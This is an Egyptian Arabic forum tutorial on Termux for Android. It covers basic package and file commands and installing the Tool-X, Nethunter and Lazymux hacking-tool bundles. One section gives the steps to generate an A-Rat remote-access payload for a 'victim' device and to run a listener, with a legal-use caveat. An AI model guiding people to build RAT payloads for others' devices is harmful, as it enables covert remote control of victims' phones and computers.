- بواسطة x32x01 ||
لو عندك موبايل أندرويد وعايز تاخد تجربة طرفية Linux على الهاتف، Termux هو الحل. تقدر تشغّل أوامر لينكس، تثبت لغات برمجة (زي Python وRuby)، تنزل أدوات اختبار اختراق، وتشتغل من غير ما تحتاج روت
.
البوست ده هيفهمك كل الأوامر الأساسية وإزاي تجهّز بيئة تعمل بيها أدوات زي Tool-X وLazymux خطوة بخطوة وبأمثلة عملية.
تحميل وتثبيت Termux
افتح متجر Google Play أو أي مصدر موثوق ونزل التطبيق باسم Termux. بعد التثبيت افتح التطبيق وهتلاقي طرفية سوداء جاهزة تستقبل أوامر. قبل ما تبدأ، يفضّل تعمل تحديث لحزم التطبيق علشان كل حاجة تمشي سلس.
أوامر أساسية لازم تبقى عارفها
دي أوامر هتستخدمها طول الوقت، خليك متمرن عليهم:
تهيئة Termux لتشغيل الأدوات (Environment Setup)
عشان تقدر تنزل أدوات وتشتغل عليها بدون مشاكل، اتبع الخطوات دي:
بعد الخطوات دي تقدر تنزّل معظم أدوات الـ Kali Linux المتاحة على Termux.
تثبيت أدوات جاهزة (Tool-X, Nethunter, Lazymux)
فيه أدوات جاهزة بتوفّر لك مئات الأدوات بضغطة واحدة. أهمهم:
بعد التثبيت:
من Tool-X تقدر تختار تثبيت مجموعات من أدوات الاختبار الجاهزة.
الأداة دي بتمدّك ببيئة تشبه Kali على التيرمكس.
Lazymux فيها قايمة كبيرة من الأدوات اللي بتثبتها بسهولة.
تشغيل أداة معينة: مثال A-Rat (عملية وصريحة)
A-Rat أداة بتولد بايلود سكربت .py ممكن يتحول لـ سكربت يتشغّل على جهاز الضحية - احذر، استعمل دا بس للـاختبار القانوني أو جهازك.
غير الـ 127.0.0.1 لـ IP الخارجي بتاعك لو هتستقبل من شبكة خارجية، وغير اسم الخرج test.py لأي اسم تريده. بعد كده run عشان تشغّل الـ listener.
إدارة الملفات والوصول لـ SD Card وباقي المسارات
لو عايز توصّل لمجلد الـ SD card:
لو عايز تنقل نسخة أو تغير صلاحيات ملف:
نصايح أمان بسيطة وانت بتستخدم Termux
أخطاء شائعة لازم تتجنبها
خاتمة ودعوة لتطبيق عملي
Termux أداة قوية جدًا لو حابب تشتغل على لينكس من موبايلك: تثبيت بايثون، إدارة ملفات، وتنصيب أدوات اختبار. ابدأ بالتحديث والتثبيت البسيط، بعدين جرّب تثبيت Tool-X أو Lazymux، وابني بيئتك خطوة بخطوة.
البوست ده هيفهمك كل الأوامر الأساسية وإزاي تجهّز بيئة تعمل بيها أدوات زي Tool-X وLazymux خطوة بخطوة وبأمثلة عملية.
تحميل وتثبيت Termux
افتح متجر Google Play أو أي مصدر موثوق ونزل التطبيق باسم Termux. بعد التثبيت افتح التطبيق وهتلاقي طرفية سوداء جاهزة تستقبل أوامر. قبل ما تبدأ، يفضّل تعمل تحديث لحزم التطبيق علشان كل حاجة تمشي سلس. Bash:
# تحديث الحزم الأساسية
pkg update
pkg upgrade أوامر أساسية لازم تبقى عارفها
دي أوامر هتستخدمها طول الوقت، خليك متمرن عليهم:- pkg search <package> - للبحث عن حزمة.
Bash:
pkg search python - pkg install <package> - لتثبيت الحزمة.
Bash:
pkg install git
pkg install python - pkg upgrade - لتحديث البكجات المركبة.
Bash:
pkg upgrade - help - عرض الأوامر والمساعدة.
Bash:
help - ls - عرض الملفات في المجلد الحالي.
- cd <folder> - الدخول لمجلد.
- cd .. - الرجوع للمجلد السابق.
تهيئة Termux لتشغيل الأدوات (Environment Setup)
عشان تقدر تنزل أدوات وتشتغل عليها بدون مشاكل، اتبع الخطوات دي:- حدّث الحزم:
Bash:
pkg update && pkg upgrade - ثبّت git علشان تقدر تنسخ المستودعات من GitHub:
Bash:
pkg install git - ثبّت بايثون (python و python2 لو محتاج):
Bash:
pkg install python
pkg install python2 - لو الأداة بتحتاج Perl أو Ruby أو wget:
Bash:
pkg install perl
pkg install ruby
pkg install wget تثبيت أدوات جاهزة (Tool-X, Nethunter, Lazymux)
فيه أدوات جاهزة بتوفّر لك مئات الأدوات بضغطة واحدة. أهمهم:Tool-X
Bash:
git clone https://github.com/vaginessa/Tool-X.git
cd Tool-X
chmod +x install.aex
sh install.aex
# لو ما اشتغلش
./install.aex بعد التثبيت:
Bash:
Tool-X Nethunter-In-Termux (Nethunter)
Bash:
git clone https://github.com/Hax4us/Nethunter-In-Termux
cd Nethunter-In-Termux
chmod +x *
./kalinethunter Lazymux
Bash:
git clone https://github.com/Gameye98/Lazymux
cd Lazymux
chmod +x *
python2 lazymux.py تشغيل أداة معينة: مثال A-Rat (عملية وصريحة)
A-Rat أداة بتولد بايلود سكربت .py ممكن يتحول لـ سكربت يتشغّل على جهاز الضحية - احذر، استعمل دا بس للـاختبار القانوني أو جهازك.- من Lazymux اختر رقم أداة A-Rat أو نزل المجلد وبعدين:
Bash:
cd Lazymux
python2 lazymux.py
# اختار رقم 22 لو زي ما اتكلمنا
cd A-Rat
ls
chmod +x A-Rat.py
python2 A-Rat.py - جوا الأداة لعمل بايلود:
Bash:
set HOST 127.0.0.1
set PORT 4444
set OUTPUT /data/data/com.termux/files/home/test.py
generate إدارة الملفات والوصول لـ SD Card وباقي المسارات
لو عايز توصّل لمجلد الـ SD card: Bash:
cd /sdcard
ls لو عايز تنقل نسخة أو تغير صلاحيات ملف:
Bash:
mv file.zip ~/backups/
chmod 600 ~/backups/file.zip نصايح أمان بسيطة وانت بتستخدم Termux
- ما تسيبش باكاب حساس في مجلد متاح للويب أو سهل الوصول.
- خلي صلاحيات الملفات الحساسة ضيقة (مثل .env).
- حدث الأدوات بانتظام.
- استخدم كلمات مرور قوية لو في خدمات بتشتغل عليها.
- لا تستخدم أدوات التحكم عن بعد على أجهزة الناس بدون إذن.
أخطاء شائعة لازم تتجنبها
- ترك Debug شغال في سكربتات الانتاج.
- تجاهل تحديث الحزم والأدوات.
- رفع ملفات حساسة في مجلدات عامة.
- نسيان عمل Rate Limit أو حماية للـ API لو بتبني سيرفر على الهاتف.
خاتمة ودعوة لتطبيق عملي
Termux أداة قوية جدًا لو حابب تشتغل على لينكس من موبايلك: تثبيت بايثون، إدارة ملفات، وتنصيب أدوات اختبار. ابدأ بالتحديث والتثبيت البسيط، بعدين جرّب تثبيت Tool-X أو Lazymux، وابني بيئتك خطوة بخطوة. التعديل الأخير: